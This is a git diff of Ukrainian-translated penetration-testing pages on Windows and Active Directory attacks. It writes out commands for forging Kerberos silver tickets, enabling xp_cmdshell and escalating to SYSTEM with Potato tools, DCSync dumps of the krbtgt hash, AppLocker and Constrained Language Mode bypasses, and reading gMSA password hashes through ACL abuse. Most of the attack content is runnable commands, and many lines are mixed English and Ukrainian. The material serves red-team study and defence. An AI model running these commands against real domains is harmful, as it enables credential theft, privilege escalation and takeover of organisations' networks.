python ticketer.py -nthash <HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn <SERVICE_PRINCIPAL_NAME> <USER>
export KRB5CCNAME=/root/impacket-examples/<TICKET_NAME>.ccache
python psexec.py <DOMAIN>/<USER>@<TARGET> -k -no-pass
```
### У Windows
### На Windows
```bash
# Using Rubeus
## /ldap option is used to get domain data automatically
@ -37,11 +37,11 @@ mimikatz.exe "kerberos::ptt <TICKET_FILE>"
# Obtain a shell
.\PsExec.exe -accepteula \\<TARGET> cmd
```
Сервіс CIFS підкреслюється як поширена ціль для доступу до файлової системи жертви, але інші сервіси, такі як HOST і RPCSS, також можна експлуатувати для виконання завдань та WMI-запитів.
Сервіс CIFS виділяють як поширену ціль для доступу до файлової системи жертви, але також можна експлуатувати інші сервіси, такі як HOST і RPCSS, для виконання завдань та WMI-запитів.
### Приклад: MSSQL service (MSSQLSvc) + Potato to SYSTEM
### Приклад: служба MSSQL (MSSQLSvc) + Potato to SYSTEM
Якщо у вас є NTLM-хеш (або AES-ключ) облікового запису сервісу SQL (наприклад, sqlsvc), ви можете підробити TGS для MSSQL SPN і impersonate будь-якого користувача для SQL service. Далі увімкніть xp_cmdshell, щоб виконувати команди від імені облікового запису сервісу SQL. Якщо цей токен має SeImpersonatePrivilege, використайте Potato для ескалації до SYSTEM.
Якщо у вас є NTLM hash (або AES key) облікового запису служби SQL (наприклад, sqlsvc), ви можете підробити TGS для MSSQL SPN і impersonate будь-якого користувача для SQL service. Далі увімкніть xp_cmdshell, щоб виконувати команди від імені облікового запису служби SQL. Якщо цей token має SeImpersonatePrivilege, запустіть Potato для підвищення до SYSTEM.
```bash
# Forge a silver ticket for MSSQLSvc (RC4/NTLM example)
python ticketer.py -nthash <SQLSVC_RC4> -domain-sid <DOMAIN_SID> -domain <DOMAIN> \
@ -52,20 +52,20 @@ export KRB5CCNAME=$PWD/administrator.ccache
impacket-mssqlclient -k -no-pass <DOMAIN>/administrator@<host.fqdn>:1433 \
-q "EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami'"
```
- Якщо отриманий контекст має SeImpersonatePrivilege (зазвичай для service accounts), використайте варіант Potato, щоб отримати SYSTEM:
- Якщо в отриманому контексті є SeImpersonatePrivilege (часто буває для service accounts), використовуйте Potato variant, щоб отримати SYSTEM:
```bash
# On the target host (via xp_cmdshell or interactive), run e.g. PrintSpoofer/GodPotato
PrintSpoofer.exe -c "cmd /c whoami"
# or
GodPotato -cmd "cmd /c whoami"
```
Детальніше про зловживання MSSQL та увімкнення xp_cmdshell:
More details on abusing MSSQL and enabling xp_cmdshell:
{{#ref}}
abusing-ad-mssql.md
{{#endref}}
Огляд Potato techniques:
Potato techniques overview:
{{#ref}}
../windows-local-privilege-escalation/roguepotato-and-printspoofer.md
@ -73,44 +73,44 @@ abusing-ad-mssql.md
## Доступні сервіси
| Service Type | Service Silver Tickets |
| Тип служби | Служби (Silver Tickets) |
| ------------------------------------------ | -------------------------------------------------------------------------- |
| WMI | <p>HOST</p><p>RPCSS</p> |
| PowerShell Remoting | <p>HOST</p><p>HTTP</p><p>Depending on OS also:</p><p>WSMAN</p><p>RPCSS</p> |
| WinRM | <p>HOST</p><p>HTTP</p><p>In some occasions you can just ask for: WINRM</p> |
| Scheduled Tasks | HOST |
| PowerShell Remoting | <p>HOST</p><p>HTTP</p><p>Залежно від ОС також:</p><p>WSMAN</p><p>RPCSS</p> |
| WinRM | <p>HOST</p><p>HTTP</p><p>Іноді можна просто запросити: WINRM</p> |
| Заплановані завдання | HOST |
| Windows File Share, also psexec | CIFS |
| LDAP operations, included DCSync | LDAP |
| Операції LDAP, включно з DCSync | LDAP |
| Windows Remote Server Administration Tools | <p>RPCSS</p><p>LDAP</p><p>CIFS</p> |
| Golden Tickets | krbtgt |
Використовуючи **Rubeus**, ви можете **запитати всі** ці квитки, використавши параметр:
Using **Rubeus** you may **ask for all** these tickets using the parameter:
- `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm`
### Silver tickets — Ідентифікатори подій
### Ідентифікатори подій для Silver tickets
- 4624: Успішний вхід облікового запису
- 4624: Вхід в обліковий запис
- 4634: Вихід з облікового запису
- 4672: Адміністраторський вхід
- 4672: Вхід адміністратора
## Персистентність
## Persistence
Щоб уникнути того, щоб машини змінювали пароль кожні 30 днів, встановіть `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` або можна встановити `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` на значення більше ніж 30days, щоб вказати період ротації, коли пароль машини має бути змінений.
Щоб уникнути того, щоб машини змінювали свій пароль кожні 30 днів, встановіть `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` або можна встановити `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` на значення більше ніж 30 днів, щоб вказати період ротації пароля машини.
## Зловживання сервісними квитками
У наведених прикладах уявімо, що квиток отримано шляхом імітації облікового запису адміністратора.
У наступних прикладах уявімо, що квиток отримано, видаючи себе за обліковий запис адміністратора.
### CIFS
З цим квитком ви зможете отримати доступ до папок `C$` та `ADMIN$` через **SMB** (якщо вони відкриті) та скопіювати файли в частину віддаленої файлової системи, просто зробивши щось на кшталт:
З цим квитком ви зможете отримати доступ до папок `C$` та `ADMIN$` через **SMB** (якщо вони доступні) та скопіювати файли у частину віддаленої файлової системи, просто виконавши щось на кшталт:
```bash
dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp
```
Ви також зможете отримати shell усередині host або виконувати довільні команди за допомогою **psexec**:
Ви також зможете отримати shell на хості або виконувати довільні команди за допомогою **psexec**:
{{#ref}}
@ -119,7 +119,7 @@ copy afile.txt \\vulnerable.computer\C$\Windows\Temp
### HOST
З цим дозволом ви можете створювати заплановані завдання на віддалених комп'ютерах і виконувати довільні команди:
Маючи цей дозвіл, ви можете створювати заплановані завдання на віддалених комп'ютерах та виконувати довільні команди:
```bash
#Check you have permissions to use schtasks over a remote server
schtasks /S some.vuln.pc
@ -133,7 +133,7 @@ schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"
```
### HOST + RPCSS
За допомогою цих квитків ви можете **виконувати WMI у системі жертви**:
За допомогою цих tickets ви можете **запускати WMI на комп'ютері жертви**:
```bash
#Check you have enough privileges
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
@ -145,18 +145,17 @@ wmic remote.computer.local list full /format:list
```
Знайдіть **більше інформації про wmiexec** на наступній сторінці:
{{#ref}}
../lateral-movement/wmiexec.md
{{#endref}}
### ХОСТ + WSMAN (WINRM)
### HOST + WSMAN (WINRM)
Маючи доступ по winrm до комп'ютера, ви можете **підключитися до нього** та навіть отримати PowerShell:
Якщо маєте доступ до комп'ютера через winrm, ви можете **отримати до нього доступ** і навіть отримати PowerShell:
```bash
New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
```
Перегляньте наступну сторінку, щоб дізнатися **більше способів підключення до віддаленого хоста за допомогою winrm**:
Перегляньте наступну сторінку, щоб дізнатися **більше способів підключитися до віддаленого хоста за допомогою winrm**:
{{#ref}}
@ -164,11 +163,11 @@ New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
{{#endref}}
> [!WARNING]
> Зверніть увагу, що **winrm має бути активним і прослуховувати** на віддаленому комп'ютері, щоб отримати до нього доступ.
> Зауважте, що **winrm має бути активним і прослуховувати** на віддаленому комп'ютері для доступу до нього.
### LDAP
Маючи це право, ви можете отримати дамп бази даних DC за допомогою **DCSync**:
Маючи цей привілей, ви можете dump базу даних DC, використовуючи **DCSync**:
```
mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt
```
@ -180,7 +179,7 @@ dcsync.md
{{#endref}}
## Джерела
## Посилання
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets)
- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)

View File

@ -4,14 +4,14 @@
## Політика AppLocker
An application whitelist is a list of approved software applications or executables that are allowed to be present and run on a system. The goal is to protect the environment from harmful malware and unapproved software that does not align with the specific business needs of an organization.
Білий список додатків — це перелік затверджених програм або виконуваних файлів, яким дозволено бути присутніми та запускатися в системі. Метою є захист середовища від шкідливого malware та незатвердженого програмного забезпечення, яке не відповідає конкретним бізнес-потребам організації.
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) is Microsoft's **рішення для білого списку застосунків** і дає системним адміністраторам контроль над **якими застосунками та файлами користувачі можуть запускати**. Воно забезпечує **детальний контроль** над виконуваними файлами, скриптами, файлами встановлення Windows, DLLs, упакованими додатками та інсталяторими упакованих додатків.\
Звично організації **блокують cmd.exe та PowerShell.exe** і запис прав у певні каталоги, **але все це можна обійти**.
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) є рішенням Microsoft для реалізації **білого списку додатків** і дає системним адміністраторам контроль над **тим, які додатки та файли можуть запускати користувачі**. Воно забезпечує **детальний контроль** над виконуваними файлами, скриптами, файлами інсталятора Windows, DLL, упакованими додатками та інсталяторами упакованих додатків.\
Зазвичай організації **блокують cmd.exe та PowerShell.exe** і доступ на запис до певних директорій, **але все це можна обійти**.
### Перевірка
### Check
Перевірте, які файли/розширення занесені в чорний/білий список:
Перевірте, які файли/розширення заблоковані або дозволені:
```bash
Get-ApplockerPolicy -Effective -xml
@ -20,60 +20,60 @@ Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
$a = Get-ApplockerPolicy -effective
$a.rulecollections
```
Цей шлях реєстру містить конфігурації та політики, застосовані за допомогою AppLocker, і дає змогу переглянути поточний набір правил, що застосовуються в системі:
Цей шлях реєстру містить конфігурації та політики, застосовані AppLocker, і дозволяє переглянути поточний набір правил, що діють у системі:
- `HKLM\Software\Policies\Microsoft\Windows\SrpV2`
### Обхід
### Bypass
- Корисні **папки з правом запису** для обходу AppLocker Policy: Якщо AppLocker дозволяє виконувати будь-що всередині `C:\Windows\System32` або `C:\Windows`, існують **папки з правом запису**, які ви можете використати, щоб **обійти це**.
- Корисні **Writable folders** для bypass AppLocker Policy: Якщо AppLocker дозволяє виконувати будь-що всередині `C:\Windows\System32` або `C:\Windows`, існують **writable folders**, які ви можете використати, щоб **bypass this**.
```
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\windows\tracing
```
- Зазвичай **довірені** [**"LOLBAS's"**](https://lolbas-project.github.io/) бінарні файли також можуть бути корисні для обходу AppLocker.
- **Погано написані правила також можуть бути обійдені**
- Наприклад, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, можна створити **папку з назвою `allowed`** будь-де, і вона буде дозволена.
- Організації часто зосереджуються на **блокуванні виконуваного файлу `%System32%\WindowsPowerShell\v1.0\powershell.exe`**, але забувають про **інші** [**PowerShell executable locations**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations), такі як `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` або `PowerShell_ISE.exe`.
- **Примусове застосування DLL дуже рідко увімкнене** через додаткове навантаження на систему та обсяг тестування, необхідного, щоб нічого не зламалося. Тому використання **DLL як бекдорів допоможе обійти AppLocker**.
- Ви можете використовувати [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) або [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick), щоб **виконувати код Powershell** в будь-якому процесі та обійти AppLocker. Для більше інформації див.: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
- Зазвичай **trusted** [**"LOLBAS's"**](https://lolbas-project.github.io/) бінарні файли також можуть бути корисні для обходу AppLocker.
- **Неправильно написані правила також можуть бути обійдені**
- Наприклад, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, ви можете створити **папку з назвою `allowed`** будь-де і вона буде дозволена.
- Організації часто зосереджуються на **блокуванні виконуваного файлу `%System32%\WindowsPowerShell\v1.0\powershell.exe`**, але забувають про **інші** [**PowerShell executable locations**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) такі як `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` або `PowerShell_ISE.exe`.
- **DLL enforcement very rarely enabled** через додаткове навантаження на систему та обсяг тестувань, необхідних щоб упевнитися, що нічого не зламається. Тому використання **DLLs як backdoors допоможе обійти AppLocker**.
- Ви можете використати [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) або [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) щоб **execute Powershell** код в будь-якому процесі і обійти AppLocker. Для детальнішої інформації див.: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
## Зберігання облікових даних
## Credentials Storage
### Менеджер облікових записів безпеки (SAM)
### Security Accounts Manager (SAM)
Локальні облікові дані присутні в цьому файлі, паролі хешовані.
Локальні облікові дані присутні в цьому файлі, паролі збережені у хешованому вигляді.
### Локальний орган безпеки (LSA) - LSASS
### Local Security Authority (LSA) - LSASS
**Облікові дані** (хеші) **зберігаються** в **пам'яті** цієї підсистеми з міркувань Single Sign-On.\
**LSA** адмініструє локальну **політику безпеки** (політика паролів, права користувачів...), **аутентифікацію**, **токени доступу**...\
LSA буде тим, хто буде **перевіряти** надані облікові дані в файлі **SAM** (для локального входу) та **спілкуватиметься** з **контролером домену**, щоб автентифікувати доменного користувача.
The **credentials** (hashed) are **saved** in the **memory** of this subsystem for Single Sign-On reasons.\
**LSA** адмініструє локальну **політику безпеки** (password policy, users permissions...), **authentication**, **access tokens**...\
LSA буде тим, хто **перевірятиме** надані облікові дані всередині файлу **SAM** (для локального входу) та **спілкуватиметься** з **domain controller** для аутентифікації доменного користувача.
**Облікові дані** **зберігаються** всередині процесу **LSASS**: Kerberos tickets, хеші NT і LM, легко розшифровувані паролі.
The **credentials** are **saved** inside the **process LSASS**: Kerberos tickets, hashes NT and LM, easily decrypted passwords.
### Секрети LSA
### LSA secrets
LSA може зберігати на диску деякі облікові дані:
- Пароль облікового запису комп'ютера в Active Directory (коли контролер домену недоступний).
- Пароль облікового запису комп'ютера Active Directory (коли контролер домену недоступний).
- Паролі облікових записів служб Windows
- Паролі для планових завдань
- Інше (пароль застосунків IIS...)
- Паролі для запланованих завдань
- Інше (пароль додатків IIS...)
### NTDS.dit
Це база даних Active Directory. Присутня лише на контролерах домену.
Це база даних Active Directory. Вона присутня лише на Domain Controllers.
## Defender
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) — антивірус, який доступний у Windows 10 і Windows 11, а також у версіях Windows Server. Він **блокує** поширені pentesting інструменти, такі як **`WinPEAS`**. Однак існують способи **обійти ці захисти**.
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) — антивірус, який доступний у Windows 10 та Windows 11, а також у версіях Windows Server. Він **блокує** поширені pentesting інструменти, такі як **`WinPEAS`**. Однак існують способи **обійти ці захисти**.
### Перевірка
### Check
Щоб перевірити **стан** **Defender**, можна виконати PS cmdlet **`Get-MpComputerStatus`** (перевірте значення **`RealTimeProtectionEnabled`**, щоб дізнатися, чи він активний):
Щоб перевірити **стан** **Defender**, ви можете виконати PS cmdlet **`Get-MpComputerStatus`** (перевірте значення **`RealTimeProtectionEnabled`**, щоб дізнатися, чи активовано):
<pre class="language-powershell"><code class="lang-powershell">PS C:\> Get-MpComputerStatus
@ -92,7 +92,7 @@ NISEngineVersion : 0.0.0.0
PSComputerName :
</code></pre>
Для переліку також можна виконати:
Для його перерахування також можна виконати:
```bash
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
wmic /namespace:\\root\securitycenter2 path antivirusproduct
@ -103,36 +103,36 @@ sc query windefend
```
## Encrypted File System (EFS)
EFS захищає файли за допомогою шифрування, використовуючи **симетричний ключ**, відомий як **File Encryption Key (FEK)**. Цей ключ шифрується за допомогою **публічного ключа** користувача і зберігається в $EFS **альтернативному потоці даних** зашифрованого файлу. Коли потрібне розшифрування, відповідний **приватний ключ** цифрового сертифіката користувача використовується для розшифрування FEK з $EFS потоку. More details can be found [here](https://en.wikipedia.org/wiki/Encrypting_File_System).
EFS захищає файли за допомогою шифрування, використовуючи симетричний ключ, відомий як File Encryption Key (FEK). Цей ключ зашифровано відкритим ключем користувача і зберігається в альтернативному потоці даних $EFS зашифрованого файлу. Коли потрібне розшифрування, відповідний приватний ключ цифрового сертифіката користувача використовується для розшифрування FEK з потоку $EFS. Детальніше можна прочитати [тут](https://en.wikipedia.org/wiki/Encrypting_File_System).
**Decryption scenarios without user initiation** include:
**Сценарії розшифрування без ініціації користувача** включають:
- Коли файли або папки переміщуються на файлову систему, що не підтримує EFS, наприклад [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), вони автоматично розшифровуються.
- Коли файли або папки переміщуються на файлову систему, яка не підтримує EFS, наприклад [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), вони автоматично розшифровуються.
- Зашифровані файли, відправлені мережею через протокол SMB/CIFS, розшифровуються перед передачею.
Цей метод шифрування дозволяє власнику мати **прозорий доступ** до зашифрованих файлів. Однак просте змінення пароля власника й вхід у систему не забезпечать розшифрування.
Цей метод шифрування дозволяє власнику мати **прозорий доступ** до зашифрованих файлів. Проте проста зміна пароля власника та вхід в обліковий запис не дозволять автоматично розшифрувати файли.
**Key Takeaways**:
**Ключові моменти**:
- EFS використовує симетричний FEK, зашифрований публічним ключем користувача.
- Для розшифрування використовується приватний ключ користувача для доступу до FEK.
- Автоматичне розшифрування відбувається за певних умов, наприклад при копіюванні на FAT32 або при передачі по мережі.
- Зашифровані файли доступні власнику без додаткових кроків.
- EFS використовує симетричний FEK, зашифрований відкритим ключем користувача.
- Розшифрування використовує приватний ключ користувача для доступу до FEK.
- Автоматичне розшифрування відбувається за певних умов, наприклад при копіюванні на FAT32 або під час мережевої передачі.
- Зашифровані файли доступні власнику без додаткових дій.
### Check EFS info
Перевірте, чи **користувач** **використовував** цю **службу**, перевіривши наявність цього шляху:`C:\users\<username>\appdata\roaming\Microsoft\Protect`
Перевірте, чи користувач використовував цю службу, перевіривши наявність шляху:`C:\users\<username>\appdata\roaming\Microsoft\Protect`
Перевірте, **хто** має **доступ** до файлу, використовуючи cipher /c \<file\>
Ви також можете використовувати `cipher /e` та `cipher /d` у папці, щоб **зашифрувати** та **розшифрувати** всі файли
Перевірте, хто має доступ до файлу, використавши cipher /c \<file\>
Ви також можете використовувати `cipher /e` та `cipher /d` всередині папки, щоб **зашифрувати** та **розшифрувати** всі файли
### Decrypting EFS files
#### Маючи права SYSTEM
#### Отримання прав SYSTEM
Цей спосіб вимагає, щоб **жертва-користувач** запускав **процес** на хості. Якщо це так, використовуючи `meterpreter` сесію ви можете імітувати токен процесу користувача (`impersonate_token` з `incognito`). Або ви можете просто `migrate` у процес користувача.
Цей спосіб вимагає, щоб користувач-жертва виконував процес на хості. У цьому випадку, використовуючи meterpreter session, ви можете імітувати токен процесу користувача (impersonate_token з incognito). Або ви можете просто migrate до процесу користувача.
#### Знаючи пароль користувача
#### Knowing the users password
{{#ref}}
@ -141,15 +141,15 @@ https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
## Group Managed Service Accounts (gMSA)
Microsoft розробила **Group Managed Service Accounts (gMSA)**, щоб спростити управління сервісними обліковими записами в ІТ-інфраструктурах. На відміну від традиційних сервісних облікових записів, які часто мають увімкнену опцію "**Password never expire**", gMSA пропонують більш безпечне й кероване рішення:
Microsoft розробила Group Managed Service Accounts (gMSA) для спрощення керування сервісними обліковими записами в IT-інфраструктурах. На відміну від традиційних сервісних облікових записів, у яких часто ввімкнено налаштування "**Password never expire**", gMSA пропонують більш безпечне та кероване рішення:
- **Automatic Password Management**: gMSA використовують складний пароль довжиною 240 символів, який автоматично змінюється відповідно до політик домену чи комп'ютера. Цей процес керується Key Distribution Service (KDC) від Microsoft, усуваючи потребу в ручних оновленнях пароля.
- **Enhanced Security**: Ці облікові записи не схильні до блокувань і не можуть використовуватися для інтерактивного входу, що підвищує їх безпеку.
- **Multiple Host Support**: gMSA можуть використовуватися на кількох хостах, що робить їх ідеальними для сервісів, що працюють на кількох серверах.
- **Scheduled Task Capability**: На відміну від managed service accounts, gMSA підтримують виконання планових завдань.
- **Simplified SPN Management**: Система автоматично оновлює Service Principal Name (SPN) при зміні деталей sAMaccount комп'ютера або імені DNS, спрощуючи керування SPN.
- **Automatic Password Management**: gMSA використовують складний 240-символьний пароль, який автоматично змінюється відповідно до політики домену або комп'ютера. Цей процес обробляється службою розповсюдження ключів (KDC) Microsoft, що усуває потребу у ручному оновленні паролів.
- **Enhanced Security**: ці облікові записи не піддаються блокуванням і не можуть використовуватися для інтерактивного входу, що підвищує їхню безпеку.
- **Multiple Host Support**: gMSA можна використовувати на кількох хостах одночасно, що робить їх ідеальними для сервісів, що працюють на кількох серверах.
- **Scheduled Task Capability**: на відміну від Managed Service Accounts, gMSA підтримують запуск запланованих завдань.
- **Simplified SPN Management**: система автоматично оновлює Service Principal Name (SPN) при змінах у sAMAccount даних комп’ютера або імені DNS, спрощуючи керування SPN.
Паролі для gMSA зберігаються в LDAP-властивості _**msDS-ManagedPassword**_ і автоматично скидаються кожні 30 днів контролерами домену (Domain Controllers, DCs). Цей пароль — зашифрований бінарний блок даних, відомий як [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), може бути отриманий лише авторизованими адміністраторами та серверами, на яких встановлені gMSA, що забезпечує безпечне середовище. Для доступу до цієї інформації потрібне захищене з'єднання, таке як LDAPS, або з'єднання має бути автентифіковане з 'Sealing & Secure'.
Паролі для gMSA зберігаються у властивості LDAP _**msDS-ManagedPassword**_ і автоматично скидаються кожні 30 днів контролерами домену (DC). Цей пароль, зашифрований бінарний обʼєкт відомий як [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), може бути отриманий лише авторизованими адміністраторами та серверами, на яких встановлено gMSA, що забезпечує безпечне середовище. Для доступу до цієї інформації потрібне захищене з’єднання, наприклад LDAPS, або з’єднання має бути аутентифіковане з параметрами 'Sealing & Secure'.
![https://cube0x0.github.io/Relaying-for-gMSA/](../../images/asd1.png)
@ -159,46 +159,46 @@ Microsoft розробила **Group Managed Service Accounts (gMSA)**, щоб
```
[**Find more info in this post**](https://cube0x0.github.io/Relaying-for-gMSA/)
Також перегляньте цю [web page](https://cube0x0.github.io/Relaying-for-gMSA/) про те, як виконати **NTLM relay attack**, щоб **прочитати** **пароль** **gMSA**.
Також перегляньте цю [web page](https://cube0x0.github.io/Relaying-for-gMSA/) про те, як виконати **NTLM relay attack** щоб **зчитати** **пароль** **gMSA**.
### Зловживання ланцюгуванням ACL для читання керованого пароля gMSA (GenericAll -> ReadGMSAPassword)
### Зловживання ланцюгом ACL для зчитування керованого пароля gMSA (GenericAll -> ReadGMSAPassword)
У багатьох середовищах користувачі з низькими привілеями можуть отримати доступ до секретів gMSA без компрометації DC, зловживаючи неправильно налаштованими ACL об'єктів:
У багатьох середовищах користувачі з низькими привілеями можуть отримати доступ до секретів gMSA без компрометації DC, зловживаючи некоректно налаштованими ACL об'єктів:
- Групі, яку ви контролюєте (наприклад, через GenericAll/GenericWrite), надано `ReadGMSAPassword` над gMSA.
- Додавши себе до цієї групи, ви успадковуєте право читати `msDS-ManagedPassword` blob gMSA через LDAP та отримувати придатні NTLM облікові дані.
- A group you can control (e.g., via GenericAll/GenericWrite) is granted `ReadGMSAPassword` over a gMSA.
- Додавши себе до цієї групи, ви успадковуєте право зчитувати `msDS-ManagedPassword` blob gMSA через LDAP і отримувати придатні NTLM облікові дані.
Типовий робочий процес:
1) Знайдіть шлях за допомогою BloodHound і позначте свої foothold principals як Owned. Шукайте зв'язки на кшталт:
1) Discover the path with BloodHound and mark your foothold principals as Owned. Look for edges like:
- GroupA GenericAll -> GroupB; GroupB ReadGMSAPassword -> gMSA
2) Додайте себе до проміжної групи, яку ви контролюєте (приклад з bloodyAD):
2) Add yourself to the intermediate group you control (example with bloodyAD):
```bash
bloodyAD --host <DC.FQDN> -d <domain> -u <user> -p <pass> add groupMember <GroupWithReadGmsa> <user>
```
3) Прочитати керований пароль gMSA через LDAP і отримати NTLM-хеш. NetExec автоматизує витяг `msDS-ManagedPassword` та перетворення в NTLM:
3) Прочитайте керований пароль gMSA через LDAP і отримайте NTLM-хеш. NetExec автоматизує витяг `msDS-ManagedPassword` та перетворення в NTLM:
```bash
# Shows PrincipalsAllowedToReadPassword and computes NTLM automatically
netexec ldap <DC.FQDN> -u <user> -p <pass> --gmsa
# Account: mgtsvc$ NTLM: edac7f05cded0b410232b7466ec47d6f
```
Аутентифікуйтеся як gMSA, використовуючи NTLM hash (plaintext не потрібен). Якщо обліковий запис у Remote Management Users, WinRM працюватиме безпосередньо:
Аутентифікуйтеся як gMSA, використовуючи NTLM hash (no plaintext needed). Якщо обліковий запис у Remote Management Users, WinRM працюватиме безпосередньо:
```bash
# SMB / WinRM as the gMSA using the NT hash
netexec smb <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
netexec winrm <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
```
Примітки:
- LDAP reads of `msDS-ManagedPassword` require sealing (e.g., LDAPS/sign+seal). Tools handle this automatically.
- gMSAs are often granted local rights like WinRM; validate group membership (e.g., Remote Management Users) to plan lateral movement.
- If you only need the blob to compute the NTLM yourself, see MSDS-MANAGEDPASSWORD_BLOB structure.
- Читання LDAP атрибуту `msDS-ManagedPassword` вимагає sealing (наприклад, LDAPS/sign+seal). Інструменти обробляють це автоматично.
- gMSAs часто мають надані локальні права, такі як WinRM; перевірте членство в групах (наприклад, Remote Management Users), щоб планувати lateral movement.
- Якщо вам потрібен лише blob для обчислення NTLM самостійно, див. структуру MSDS-MANAGEDPASSWORD_BLOB.
## LAPS
Рішення **Local Administrator Password Solution (LAPS)**, доступне для завантаження з [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), дозволяє керувати локальними паролями облікового запису Administrator. Ці паролі, які є **випадково згенерованими**, унікальними та **регулярно змінюються**, зберігаються централізовано в Active Directory. Доступ до цих паролів обмежується ACLs для авторизованих користувачів. Якщо надані достатні дозволи, можливе читання локальних паролів адміністратора.
The **Local Administrator Password Solution (LAPS)**, available for download from [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), дозволяє керувати локальними паролями облікового запису Administrator. Ці паролі**рандомізовані**, унікальні й **регулярно змінювані** зберігаються централізовано в Active Directory. Доступ до цих паролів обмежено через ACLs лише для авторизованих користувачів. При наданні достатніх прав можна читати локальні паролі адміністратора.
{{#ref}}
@ -207,9 +207,9 @@ netexec winrm <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
## PS Constrained Language Mode
PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **жорстко обмежує багато функцій**, потрібних для ефективного використання PowerShell, таких як блокування COM objects, дозвіл лише схвалених .NET types, XAML-based workflows, PowerShell classes та інше.
PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **блокує багато можливостей**, необхідних для ефективного використання PowerShell, таких як блокування COM objects, дозвіл лише затверджених .NET types, XAML-based workflows, PowerShell classes та інше.
### **Перевірте**
### **Перевірити**
```bash
$ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage
@ -219,10 +219,10 @@ $ExecutionContext.SessionState.LanguageMode
#Easy bypass
Powershell -version 2
```
У сучасних Windows цей Bypass не працює, але ви можете використовувати[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
**Щоб скомпілювати його, можливо, потрібно** **щоб** _**Add a Reference**_ -> _Browse_ ->_Browse_ -> додати `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` і **змінити проект на .Net4.5**.
У сучасних Windows цей Bypass не працює, але ви можете використати[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
**Щоб скомпілювати його, можливо, потрібно** **виконати** _**Add a Reference**_ -> _Browse_ ->_Browse_ -> додати `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` і **змінити проект на .Net4.5**.
#### Direct bypass:
#### Прямий bypass:
```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe
```
